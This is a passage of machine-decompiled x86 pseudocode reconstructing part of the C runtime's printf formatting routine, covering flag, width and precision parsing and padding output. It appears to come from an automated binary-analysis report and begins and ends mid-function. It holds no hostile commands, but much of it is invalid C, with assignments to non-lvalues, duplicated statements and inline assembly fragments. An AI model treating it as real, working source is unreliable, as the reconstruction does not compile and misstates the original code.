								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004283D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00428410( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004283D0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00428410(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E00434360(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E00428410( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004283D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C510( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428228))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E00431350( *(_t524 - 0x251) & 0x000000ff, E0041AE20(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00428330( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00428330( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E350();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422E40(_t509))) = 0x16;
																		E00422BD0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041ADF0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428260; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428248))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428288; // 0x7b3f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428274))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4282f4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004282B8))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AE20(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0x7e8e98dc
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x8a8e9826
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xc28e9826
																						E00424690(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004284E0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E004284A0(__ebp + 0x14);
																		__eax = E00434040();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
